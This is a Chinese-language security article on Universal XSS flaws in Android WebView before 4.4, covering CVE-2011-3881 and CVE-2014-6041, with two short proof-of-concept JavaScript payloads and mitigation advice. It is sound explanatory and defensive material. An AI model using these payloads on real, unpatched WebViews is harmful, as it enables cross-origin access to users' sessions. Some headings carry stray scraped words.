Android安全之WebViewUXSS漏洞

Android安全之WebViewUXSS漏洞javascript

  • 0X01 前言php

XSS是咱们比较熟悉的一种攻击方式,包括存储型XSS、反射型XSS、DOM XSS等,但UXSS(通用型XSS)另一种不一样的漏洞类型,主要体如今漏洞的载体和影响范围上。
XSS问题源于某一个WEB站点或应用存在安全问题,但受同源策略的约束,攻击者只能访问存在漏洞的站点的回话信息,没法访问其余域的回话信息。
UXSS则主要源于浏览器或浏览器扩展程序的安全缺陷,不须要网站自己存在漏洞也能够触发漏洞,攻击者能够获取到浏览器打开和缓存的全部页面(不一样域)的会话信息,所以UXSS漏洞的杀伤力极强。
因为Google把WebKit移植到了Android上,并将其做为WebView组件封装在SDK中,但一些以前出如今PC版chrome的WebKit漏洞在SDK中并未修复,所以历史的悲剧在android上再一次上演:
 图片描述
 
相关漏洞能够上https://bugs.chromium.org/p/c...搜索。下文介绍几个对应的漏洞。
 java

  • 0X02 CVE-2011-3881android

WebKit, as used in Google Chrome before 15.0.874.102 and Android before 4.4, allows remote attackers to bypass the Same Origin Policy and conduct Universal XSS (UXSS) attacks via vectors related to
(1) the DOMWindow::clear function and use of a selection object,
(2) the Object::GetRealNamedPropertyInPrototypeChain function and use of an proto property,
(3) the HTMLPlugInImageElement::allowedToLoadFrameURL function and use of a javascript: URL,
(4) incorrect origins for XSLT-generated documents in the XSLTProcessor::createDocumentFromSource function, and
(5) improper handling of synchronous frame loads in the ScriptController::executeIfJavaScriptURL function.web

该漏洞主要因为HTMLPlugInImageElement::allowedToLoadFrameURL函数中对Javascript URL地址校验不足,对源检测不全致使的跨域问题:
POC:chrome

<script>window.onload = function(){
    object = document.createElement("object");
    object.data = "http://google.com/";
    document.body.appendChild(object);
    object.onload = function() {
    object.data = "javascript:alert(document.body.innerHTML)";
    object.innerHTML = "foo";
    }
}</script>

 

  • 0X03 CVE-2014-6041跨域

The Android WebView in Android before 4.4 allows remote attackers to bypass the Same Origin Policy via a crafted attribute containing a u0000 character, as demonstrated by an onclick="window.open ('\u0000javascript:  sequence to the Android Browser application 4.2.1 or a third-party web browser.
 
因为不少厂商都是直接使用系统自带的WebView,这将该漏洞的影响进一步扩大化,导致当时不少主流的应用纷纷中枪。
POC:浏览器

<input type=button value="test" onclick="
  a=document.createElement('script');
  a.id='AA';
  a.src='\u0000https://js.stripe.com/v2/';
  document.body.appendChild(a);
  setTimeout(function(){if(typeof(document.getElementById('AA'))!=='undefined'){alert(Stripe);}
else{alert(2);}}, 400);
return false;">

 

  • 0X04 检测缓存

这类漏洞能够经过御安全动态的方式进行自动化的检测,相关检测样例能够从https://bugs.chromium.org/p/c...(bugid)中查询到。
 安全

  • 0X05 安全建议

前面提到的这些UXSS漏洞都已经在Android 4.4中修复,同时它也提供了自动升级webkit的功能,以便及时修复漏洞。
 
用户:
1)        尽可能采用最新版的Android系统
2)        尽可能不要随意点击安全性未知的连接
厂商:
1)        客户端使用onPageStarted (WebView view, String url, Bitmap favicon)方法在跳转前进行跨域判断
2)        使用最新的Webkit内核,但APK的size会变大,而且后续须要跟进Google Webkit官方进行更新。
3)        客户端对iframe object标签属性进行过滤
4)    按期使用漏洞工具检测(如御安全的漏洞库将根据市场出现的样本同步更新)

 

  • 0X06 参考

http://drops.wooyun.org/tools...
https://bugs.chromium.org/p/c...
https://security.tencent.com/... 腾讯御安全技术团队

相关文章
相关标签/搜索